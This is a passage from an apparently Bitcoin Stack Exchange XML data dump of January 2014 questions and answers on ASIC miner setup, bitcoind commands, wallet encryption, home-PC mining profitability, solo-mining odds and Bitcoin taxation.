* $BitCoinperAltCoin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;END EDIT&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tl;dr&#xA;Exchange rates and exchanges used.&#xA;Low volume of trade.&#xA;Unique Difficulty filter algos on unique coins&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you ask the owners of the sites this one.&lt;/p&gt;&#xA;" OwnerUserId="5651" LastActivityDate="2014-01-07T03:45:40.827" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20024" PostTypeId="1" CreationDate="2014-01-07T06:23:33.997" Score="0" ViewCount="7858" Body="&lt;p&gt;I recently purchased a Nanofury ASIC unit. I tried running it on my Linux system, as I just let the computer sit and run. I couldn't get it to work on Linux, so I decided to give it a try on Windows = but I'm still getting the same problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I installed Zadig, found the device, and installed WinUSB to the Nanofury NF1 0.6 device. I could then see it in the Device Manager listed as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'NanoFury NF1 0.6'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the device is recognized by Windows, but when I run BFGminer on the -S all option for finding devices, I get this message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'&lt;code&gt;NO DEVICES FOUND: Press 'M' and '+' to add&lt;/code&gt;'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get the NanoFury device to operate properly with Windows? I'd really hate to be out like $150 on something I can't even get to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently running BFGminer 3.9.0 - if that helps at all.&lt;/p&gt;&#xA;" OwnerUserId="11884" LastEditorUserId="5406" LastEditDate="2016-04-25T19:55:53.903" LastActivityDate="2019-01-13T05:52:34.903" Title="BFGminer can't find my NanoFury!" Tags="|hash|miner-configuration|asic|bfgminer|" AnswerCount="5" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20025" PostTypeId="2" ParentId="13653" CreationDate="2014-01-07T06:53:50.980" Score="0" Body="&lt;p&gt;You should see exactly what you are seeing on the images you posted. You have correctly set up mining. &lt;strong&gt;You will not see long polling as that is a pool server feature &lt;em&gt;NOT&lt;/em&gt; a bitcoind feature.&lt;/strong&gt; You will only see new block detection and if you find a block a share that says &quot;block!&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't really know if you will ever find any coins that way. Currently it will take you near 3 years to mine a block, assuming the diff does not change again (and it will go up). I would suggest finding a pool and mining there. It is the only way to mine coins any more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you do go further in to mining and use application specific integrated circuits and/or other mining power for solo generation, you are going to want to set up a private stratum or getblocktemplate server. (or use GBT on bitcoind).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: Me, I'm a pool op.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 1:&lt;/strong&gt;&lt;br&gt;&#xA;your version of BFGMiner is a bit old. Maybe get a newer version too, for good measure.&lt;/p&gt;&#xA;" OwnerUserId="5651" LastEditorUserId="2306" LastEditDate="2015-01-11T07:33:29.627" LastActivityDate="2015-01-11T07:33:29.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20026" PostTypeId="2" ParentId="20024" CreationDate="2014-01-07T06:57:52.577" Score="0" Body="&lt;p&gt;BitFury based usb sticks are hard to get working.&#xA;Have you installed the nfy specific drivers? I'm not sure if you have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any more detail you can give is great&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyway, try appending the following line to your bfgminer command.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;-S &quot;NFY:ALL&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I will get some more documentation together from one of the guys who develops them and see what he knows about it. I remember we were having a hard time getting the nanofury sticks to work in ubuntu. In the end he ended up having to plug them in 1 by 1 i believe (but can't remember for sure)&lt;/p&gt;&#xA;" OwnerUserId="5651" LastActivityDate="2014-01-07T06:57:52.577" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20027" PostTypeId="2" ParentId="20021" CreationDate="2014-01-07T07:00:14.477" Score="0" Body="&lt;p&gt;Are you looking for an API or for just the data?&#xA;You can't really find every last coin as more are comign each and every day.&#xA;However, coinwarz or coinchoose usually have most of the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;coinchoose has current+historic data available via json api&lt;/p&gt;&#xA;" OwnerUserId="5651" LastActivityDate="2014-01-07T07:00:14.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20028" PostTypeId="2" ParentId="19971" CreationDate="2014-01-07T07:06:31.757" Score="2" Body="&lt;p&gt;bitcoind (and hence presumably also americancoind) keeps a separate database of &quot;relevant&quot; transactions so that it does not have to search the entire blockchain all the time.  Since you added a new address by copying wallet.dat, the daemon may never have figured out that transactions involving that address are relevant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try rebuilding this database with &lt;code&gt;americancoind -rescan&lt;/code&gt;.  You can also try &lt;code&gt;americancoind -reindex&lt;/code&gt; to rebuild all databases (this may take a long time depending on the size of the blockchain).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's &lt;strong&gt;extremely&lt;/strong&gt; unlikely that someone else managed to generate a private key with the same address.  If this were at all feasible, the currency would be useless.  Moreover, even if this had happened, what you should see would be your transaction sending one coin to Azpv... and then another transaction created by the attacker, sending the coin to an address controlled by him.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-01-07T07:06:31.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20030" PostTypeId="1" CreationDate="2014-01-07T07:16:04.413" Score="1" ViewCount="7855" Body="&lt;p&gt;In Windows, how can I get what I get with &quot;bitcoind getinfo&quot; in Linux?&lt;/p&gt;&#xA;" OwnerUserId="11886" LastEditorUserId="132" LastEditDate="2014-01-07T10:44:21.393" LastActivityDate="2018-03-13T05:59:59.327" Title="How to use bitcoin from command line in Windows?" Tags="|windows|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20031" PostTypeId="2" ParentId="20030" CreationDate="2014-01-07T07:23:20.317" Score="1" Body="&lt;p&gt;If it's QT:&#xA;go to &quot;Help&quot; -&gt; &quot;Debug Window&quot; -&gt; &quot;console&quot;&#xA;type rpc command here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or go from the commandline to the folder your bitcoin daemon is in and run a command from the bitcoin exe. NOTE: you may need to add server=1 to your bitcoin.conf in %APPDATA%&lt;/p&gt;&#xA;" OwnerUserId="5651" LastActivityDate="2014-01-07T07:23:20.317" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20032" PostTypeId="1" CreationDate="2014-01-07T07:36:00.747" Score="0" ViewCount="189" Body="&lt;p&gt;I need to make a request through cmd.exe (commandline), but the only .exe file I can find is bitcoin-qt.exe, which doesn't respond to &quot;getinfo&quot;, &quot;getaddressbalance&quot;, etc. How can I find bitcoin.exe to make these requests?&lt;/p&gt;&#xA;" OwnerUserId="11886" LastEditorUserId="5406" LastEditDate="2014-10-03T10:38:47.377" LastActivityDate="2014-10-03T10:38:47.377" Title="Where is bitcoin.exe?" Tags="|bitcoin-core|json-rpc|windows|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20033" PostTypeId="2" ParentId="20032" CreationDate="2014-01-07T07:51:09.500" Score="1" Body="&lt;p&gt;The same executable is both the server and the client. Run it as a server, and then you can use it to issue commands like &lt;code&gt;getinfo&lt;/code&gt; to the server instance.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-01-07T07:51:09.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20035" PostTypeId="2" ParentId="19817" CreationDate="2014-01-07T08:11:18.530" Score="2" Body="&lt;p&gt;Ok figured it out. The memory pool only holds transactions that have not been included in a block. The reason it stops working after a few minutes is the transaction is included in a block, and therefore the peer does not have it in its memory pool. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems I will need a different approach.&lt;/p&gt;&#xA;" OwnerUserId="11720" LastActivityDate="2014-01-07T08:11:18.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20036" PostTypeId="2" ParentId="19981" CreationDate="2014-01-07T08:12:11.387" Score="5" Body="&lt;p&gt;You've described it very accurately. When there's a protocol change that not everyone adopts, you'll have essentially two different currencies, with any coin in the original currency turning into a coin in each of the new block chains. The total value of the coins in both chains will be roughly equal to the total value of the coins in the original currency. The division of value between the two currencies will depend on the respective demand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if both currencies use the name &quot;Bitcoin&quot; to describe themselves, it will be very confusing, and will make both less usable because it's hard to know what someone means when he says &quot;Bitcoin&quot;.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-01-07T08:12:11.387" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20037" PostTypeId="2" ParentId="20007" CreationDate="2014-01-07T08:48:59.613" Score="24" Body="&lt;p&gt;In Nextcoin, proof of stake is used.  So the &quot;mining&quot; process there is just about holding coins &lt;strong&gt;and&lt;/strong&gt; leaving your computer on.  It &lt;strong&gt;doesn't&lt;/strong&gt; involve powerful CPUs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each block (every 60 seconds), a random Nextcoin is selected to be the next &quot;miner&quot;.  There are 1 billion coins so the odds of a single wallet being selected is the number of Nxt in that wallet divided by 1 billion.  (Also, it's possible to calculate and agree on who that node is so the transactions need only be sent to that particular wallet.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a node with the selected wallet is running, it will collect the transactions, make a block, and send it to the rest of the network and collect the fees.  If the computer is turned off, however, then the entire network will have to select a different nextcoin to make the transaction.  This time, the unresponsive wallet will be ignored.  The network would suffer in that the time to make a block is decreased, but the thought is that people wouldn't leave their computers off if they have a lot of NXT because they're missing out on all the fees that they could have collected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you only have a few NXT, you can leave your computer off: You probably wouldn't have collected much fees anyway.  But, your odds of being selected were low so it probably won't decrease transaction times much.&lt;/p&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2014-01-07T08:48:59.613" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20038" PostTypeId="1" CreationDate="2014-01-07T10:02:43.867" Score="1" ViewCount="1328" Body="&lt;p&gt;I am using the accounts feature of bitcoind , if a wallet gets corrupted and bitcoind is started with -salvagewallet then the account information is lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is there any built in feature that will rebuilt also my accounts ?&lt;/p&gt;&#xA;" OwnerUserId="4060" LastActivityDate="2014-02-13T06:01:09.627" Title="Is there an alternative to salvagewallet that keeps account info?" Tags="|bitcoind|bitcoin-core-accounts|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20039" PostTypeId="2" ParentId="19975" CreationDate="2014-01-07T10:28:21.563" Score="3" Body="&lt;p&gt;Yes, you &lt;em&gt;could&lt;/em&gt; store encrypted wallet in the dropbox.&lt;/p&gt;&#xA;&lt;p&gt;From the first glance into the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/05e27c66411caa622815cc7cc7136dfd85370ab4/src/crypter.cpp&quot; rel=&quot;nofollow noreferrer&quot;&gt;source code&lt;/a&gt;, the encryption algorithm is &lt;a href=&quot;https://en.wikipedia.org/wiki/Advanced_Encryption_Standard&quot; rel=&quot;nofollow noreferrer&quot;&gt;AES 256 CBC&lt;/a&gt;. This is industry standard protocol that is NOT known to be brute-force crackable* (subject to correct usage). You can read up more on the &lt;a href=&quot;https://www.schneier.com/cgi-bin/mt/mt-search.cgi?tag=AES&quot; rel=&quot;nofollow noreferrer&quot;&gt;B. Schneier blog AES tag&lt;/a&gt;, where &lt;a href=&quot;https://www.schneier.com/blog/archives/2012/03/can_the_nsa_bre.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;the most recent post&lt;/a&gt; say&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;[...] Reading the above, the obvious question to ask is: can the NSA&#xA;break AES?&lt;/p&gt;&#xA;&lt;p&gt;My guess is that they can't. That is, they don't have a&#xA;cryptanalytic attack against the AES algorithm that allows them to&#xA;recover a key from known or chosen ciphertext with a reasonable time&#xA;and memory complexity. I believe that what the &amp;quot;top official&amp;quot; was&#xA;referring to is attacks that focus on the implementation and bypass&#xA;the encryption algorithm: side-channel attacks, attacks against the&#xA;key generation systems (either exploiting bad random number generators&#xA;or sloppy password creation habits), attacks that target the endpoints&#xA;of the communication system and not the wire, attacks that exploit key&#xA;leakage, attacks against buggy implementations of the algorithm, and&#xA;so on. These attacks are likely to be much more effective against&#xA;computer encryption.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;There are chances, that the &lt;em&gt;satellite&lt;/em&gt; code around the algorithm wasn't used correctly, or that there is a back door. There are some talks on the general security concepts in &lt;a href=&quot;https://bitcoin.stackexchange.com/q/367/11862&quot;&gt;this thread&lt;/a&gt;. Despite it being open-source, there is no guarantee there are no bugs.&lt;/p&gt;&#xA;&lt;p&gt;As an alternative you can store your wallet on the encrypted TrueCrypt partition. TrueCrypt source code is &lt;a href=&quot;http://istruecryptauditedyet.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;currently being investigated&lt;/a&gt; by the independent body for the security flaws.&lt;/p&gt;&#xA;&lt;p&gt;Personally, I would use default encryption and trust it provides sufficient level of protection. Make sure your pass-phrase is strong, long and random, and that it is stored securely.&lt;/p&gt;&#xA;" OwnerUserId="11862" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-01-07T21:16:15.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20040" PostTypeId="2" ParentId="18842" CreationDate="2014-01-07T10:37:44.173" Score="-2" Body="&lt;p&gt;To bump price to the ROOF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Count yourself, each day, each one get less and less bitcoins. Now 1BTC is a 1,000$. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One year ago, every miner was able get 1BTC so fast, easy, with ordinary GPU, from week to month, it does not matter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you need a special device. Probably, next year you throw it in a landfill. &#xA;And price of 1BTC would be so big, cause nowhere you can get it, but buy for $.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And by coincidence, it is optimal periods. Infrastructure around BTC already great, it grow exponentially, like difficulty. By last year, infrastructure, like exchanges, wallets, like coinbase, shops, appear in 10x more than previous 4 years. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like this year - &lt;strong&gt;2014&lt;/strong&gt; is a year of bitcoin's &lt;strong&gt;infrastructure&lt;/strong&gt;, everywhere will appear shops, wallets, etc. In &lt;strong&gt;2015 label of Bitcoin&lt;/strong&gt; will be near Twitter's label, Facebook's label on every billboard on every corner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2013&lt;/strong&gt; - is a year of &lt;strong&gt;ASICs&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11288" LastEditorUserId="11288" LastEditDate="2014-01-07T13:32:25.150" LastActivityDate="2014-01-07T13:32:25.150" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20041" PostTypeId="1" AcceptedAnswerId="20045" CreationDate="2014-01-07T10:46:07.167" Score="10" ViewCount="157640" Body="&lt;p&gt;Can I do mining with a normal PC in my house?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will setup Linux (&lt;a href=&quot;http://en.wikipedia.org/wiki/Ubuntu_%28operating_system%29&quot; rel=&quot;noreferrer&quot;&gt;Ubuntu&lt;/a&gt;) for mining. It will be open 24/7. I don't have too many expectations. Maybe 0.1 in one week?&lt;/p&gt;&#xA;" OwnerUserId="11727" LastEditorUserId="5406" LastEditDate="2016-03-09T15:20:23.270" LastActivityDate="2016-03-09T15:20:23.270" Title="Can I do mining with a normal PC?" Tags="|cpu-mining|" AnswerCount="2" CommentCount="1" ClosedDate="2015-11-14T16:27:54.547" ContentLicense="CC BY-SA 3.0" />
  <row Id="20042" PostTypeId="2" ParentId="18842" CreationDate="2014-01-07T11:21:17.827" Score="2" Body="&lt;p&gt;The statement you make is not entirely true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's true that the rewards are decreasing. This is so because a constant rate would make Bitcoin inflationary, which is just what Satoshi Nakamoto wanted to avoid. The generation of bitcoins is predetermined and predictable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the fact that difficulty increases in not really correct. Difficulty adjusts in such a way that the generation of blocks averages to one block every 10 minutes. Because mining is still increasing in popularity, the difficulty mostly raises. But when rewards will decrease further, some miners might leave because they cannot make profit anymore. In this case, the difficulty will decrease.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While currently the difficulty almost always increases, Bitcoin history has already known decreases as well. The best reference on difficulty I could find is &lt;a href=&quot;http://bitcoin.sipa.be/&quot; rel=&quot;nofollow&quot;&gt;Pieter Wuille's website&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-01-07T11:21:17.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20043" PostTypeId="1" CreationDate="2014-01-07T11:35:32.340" Score="-1" ViewCount="170" Body="&lt;p&gt;Ive heard bitcoins are about to be taxed by the IRS. The decision has been taken to regulate the virtual currency as there are concerns of it being used for illegal purposes. Is this True ? &lt;/p&gt;&#xA;" OwnerUserId="11890" LastEditorUserId="1307" LastEditDate="2014-01-07T12:02:19.267" LastActivityDate="2014-01-07T16:59:19.540" Title="Will Bitcoin taxation be enforced by the IRS?" Tags="|taxes|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20044" PostTypeId="2" ParentId="20043" CreationDate="2014-01-07T12:24:26.003" Score="2" Body="&lt;p&gt;In the US income is taxed so I would expect income from Bitcoin to be taxed in some manner. Usually the tax occurs when there is an increase in USD but not in virtual currencies such as the Second Life Linden. Bitcoin is a little different and it's place is still unknown, it is somewhat virtual and moving into the real world, real things can be bought and sold making it more a &quot;real&quot; currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To think that one can escape taxation by using Bitcoin instead of USD is not realistic. It is not particularly different that using the Euro to escape US taxation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a moral issue: Using Bitcoin (or another currency) to escape taxation yet still using services and infrastructure paid for with taxes by others. Think roads, schools, parks, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concerning illegal purposes&quot; That is a concern of the government and seems to be the reason US currently denominations are limited to $100. The Euro's largest note is €500. The concern is not helped by the &lt;a href=&quot;http://www.zdnet.com/cryptolockers-crimewave-a-trail-of-millions-in-laundered-bitcoin-7000024579/&quot; rel=&quot;nofollow&quot;&gt;CryptoLocker&lt;/a&gt; perpetrators using BTC for the ransom.&lt;/p&gt;&#xA;" OwnerUserId="10577" LastEditorUserId="10577" LastEditDate="2014-01-07T13:30:03.857" LastActivityDate="2014-01-07T13:30:03.857" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20045" PostTypeId="2" ParentId="20041" CreationDate="2014-01-07T12:37:00.000" Score="10" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Can i do mining with a normal PC?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, you can.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I don't have too many expectations. Maybe 0,1 in one week?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, not possible. You will effectively compete against all computational resources on Earth, that are now cracking this nut. If I can estimate, a humble home PC will produce around 1 - 100 MH/s, based on &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot;&gt;CPU or GPU mining stats&lt;/a&gt;. This range covers different CPUs and single-GPU computers. You can compare hash rate with the profit estimate using &lt;a href=&quot;http://www.bitcoinx.com/profit/&quot;&gt;this calculator&lt;/a&gt;. Based on the hash-rate, your electricity bill will much out-weight any profit from mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To achieve a 0,1 BTC/week you'd have to invest in a pretty expensive, power-hungry ASIC box that can produce tens of GH/sec, subject to ever-increasing complexity.&lt;/p&gt;&#xA;" OwnerUserId="11862" LastActivityDate="2014-01-07T12:37:00.000" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20047" PostTypeId="2" ParentId="20041" CreationDate="2014-01-07T14:57:48.117" Score="2" Body="&lt;p&gt;To get 0.1BTC in one week with current difficulty levels you need to have at least 3.000 MHash/sec ASICminer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A regular GPU will provide just 50 ~ 60 MHashes so it will take quite a bit longer to achieve 0.1BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My recommendation is to get one of these ASIC miners to get a better performance:&#xA;&lt;a href=&quot;http://www.ebay.com/sch/i.html?_odkw=asicminer+block+erupter&amp;amp;_osacat=0&amp;amp;_from=R40&amp;amp;_trksid=p2045573.m570.l1313.TR5.TRC1.A0.Xasicminer+usb+block+erupter&amp;amp;_nkw=asicminer+usb+block+erupter&amp;amp;_sacat=0&quot; rel=&quot;nofollow&quot;&gt;http://www.ebay.com/sch/i.html?_odkw=asicminer+block+erupter&amp;amp;_osacat=0&amp;amp;_from=R40&amp;amp;_trksid=p2045573.m570.l1313.TR5.TRC1.A0.Xasicminer+usb+block+erupter&amp;amp;_nkw=asicminer+usb+block+erupter&amp;amp;_sacat=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11893" LastActivityDate="2014-01-07T14:57:48.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20051" PostTypeId="1" AcceptedAnswerId="20075" CreationDate="2014-01-07T16:41:35.943" Score="0" ViewCount="60" Body="&lt;p&gt;How did bitcoin trade for conventional currency in the earliest days?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was there much demand to exchange it for conventional currencies, or were those who sold goods &amp;amp; services content with holding the currency in the hopes of using it to buy goods &amp;amp; services from someone else?&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorDisplayName="user5107" LastEditDate="2014-01-07T17:22:34.093" LastActivityDate="2015-06-08T12:10:38.917" Title="Earliest bitcoin forex &amp; product purchases" Tags="|exchange-rate|history|trade|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20052" PostTypeId="2" ParentId="20043" CreationDate="2014-01-07T16:59:19.540" Score="0" Body="&lt;p&gt;Something to consider is that taxation does not make Bitcoin legal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, my country (NZ) will charge criminals tax on the proceeds of crimes. You deal in drugs and the taxman wants their cut. Those drugs are not anymore legal just because of the tax.&lt;/p&gt;&#xA;" OwnerUserId="11311" LastActivityDate="2014-01-07T16:59:19.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20053" PostTypeId="1" CreationDate="2014-01-07T17:12:11.723" Score="1" ViewCount="26430" Body="&lt;p&gt;I have run into the problem of my wallet being encrypted and currently locked. I am using &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin-Qt&quot; rel=&quot;nofollow&quot;&gt;Bitcoin-Qt&lt;/a&gt;. I have my password to unlock it, but I can't find an area in the interface to unlock the wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where do I enter my password to unlock?&lt;/p&gt;&#xA;" OwnerUserId="11900" LastEditorUserId="1405" LastEditDate="2014-01-07T21:06:44.510" LastActivityDate="2018-07-05T13:04:37.050" Title="Wallet is encrypted and currently locked. How can I get it decrypted (unlocked) - I have my password!" Tags="|wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20054" PostTypeId="2" ParentId="20053" CreationDate="2014-01-07T17:19:21.433" Score="2" Body="&lt;p&gt;You will be asked for your password when you want to send coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can unlock your wallet for a period of time using the walletpassphrase command in the console.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-01-07T17:19:21.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20055" PostTypeId="1" CreationDate="2014-01-07T18:30:13.463" Score="-2" ViewCount="4709" Body="&lt;p&gt;I plan to hash at around 250-550 gH/s, would it be profitable to mine solo, or would I make more money joining a pool? Are there any unexpected occurrences that I should look out for when mining?  &lt;/p&gt;&#xA;" OwnerUserId="11903" LastEditorUserId="5406" LastEditDate="2016-04-25T21:01:20.540" LastActivityDate="2016-04-25T21:01:20.540" Title="High Hashing Power: Okay to solo mine?" Tags="|mining-profitability|trading|asic|hashpower|solo-mining|" AnswerCount="2" CommentCount="3" ClosedDate="2014-01-13T13:11:52.077" ContentLicense="CC BY-SA 3.0" />
  <row Id="20056" PostTypeId="2" ParentId="20055" CreationDate="2014-01-07T19:45:46.777" Score="0" Body="&lt;p&gt;You will make the same amount of money regardless either way, you may lose money on mining pool fees. Your change of getting the 25 btc reward is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Probability per ~10 mins = hash rate/network hash rate&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So 250/13000000 means 0.00001923076 chance of getting a block every 10 mins, you will be getting a block. To have 100% probability of getting the 25 BTC reward it will take 520000 mins (~1 year). In summary you have 100% chance to get the 25 BTC reward in a year with 250 gh/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With solo mining you split the profit of 1 miner finding a block to how much work you put in, but if the pool has a larger hash rate, the income is instant, comparing both methods you'd get the same amount no matter what, only downside is fees and the steadiness of income&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;These are estimates, difficulty and hash rate change drastically monthly, and 10 minute block time is the optimal time, not fact.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="11369" LastEditorUserId="11369" LastEditDate="2014-01-08T08:13:18.390" LastActivityDate="2014-01-08T08:13:18.390" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="20058" PostTypeId="1" CreationDate="2014-01-07T20:15:52.670" Score="1" ViewCount="217" Body="&lt;p&gt;Is it essential to select a motherboard with native 2x pci-e 16x support or will 2x pci-e 8x do the same job?&lt;/p&gt;&#xA;" OwnerUserId="11906" LastEditorUserId="2306" LastEditDate="2017-04-25T20:04:49.943" LastActivityDate="2017-04-25T20:04:49.943" Title="Litecoin mining efficiency with pci-e 8x/16x" Tags="|litecoin|mining-hardware|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20059" PostTypeId="1" CreationDate="2014-01-07T20:42:59.060" Score="2" ViewCount="149" Body="&lt;p&gt;I was wondering if I can make a query via the console on how much btc a specific address has without having to go into blockchain.info. What is this command?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-02-07T13:14:04.567" Title="What is the bitcoind command to see how much btc a specific address has?" Tags="|blockchain|bitcoind|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20060" PostTypeId="2" ParentId="20055" CreationDate="2014-01-07T20:44:25.307" Score="3" Body="&lt;p&gt;As &lt;a href=&quot;https://bitcoin.stackexchange.com/a/20056/2343&quot;&gt;@jtorba pointed out&lt;/a&gt;, your chance of finding a block is &lt;code&gt;your_hashrate/total_hashrate&lt;/code&gt;, with &lt;code&gt;total_hashrate&lt;/code&gt; being currently ~1.2e7 GHash/s. Average time to find a block is 10 minutes (actually somewhat lower, since the difficulty is increasing). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, today your mean time for finding a block is between 5 and 11 months (for 550 and 250 GHash/s respectively). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there are other factors:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The distribution of probable times is pretty wide, so it's quite possible to get your first block after several months or even years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current trend is that total hashrate &lt;a href=&quot;http://bitcoin.sipa.be/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;triples every 2 month&lt;/em&gt;&lt;/a&gt;. So, your chance of finding a block would be steadily and rapidly decreasing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Short verdict&lt;/strong&gt;: solo minig 500GHash/s is not enough to provide one with reliable mining income. It's not completely out of question if you wish to take risks.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Update: the probability to mine specific amount of blocks during this year when solo-mining with 550 GHash/s. Assuming exponential network growth.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Hashrate growth per 2 weeks | 0 blocks | 1 block | 2 blocks | 3 blocks | 4+ blocks &#xA;----------------------------------------------------------------------------------&#xA;                  0%        |    9%    |   22%   |   26%    |   20%    |   23%    &#xA;                  5%        |   25%    |   35%   |   24%    |   11%    |    5%    &#xA;                 10%        |   39%    |   37%   |   17%    |    5%    |    2%    &#xA;                 20%        |   58%    |   32%   |    9%    |    1%    |    0%    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/al42and/8321600&quot; rel=&quot;nofollow noreferrer&quot;&gt;Source 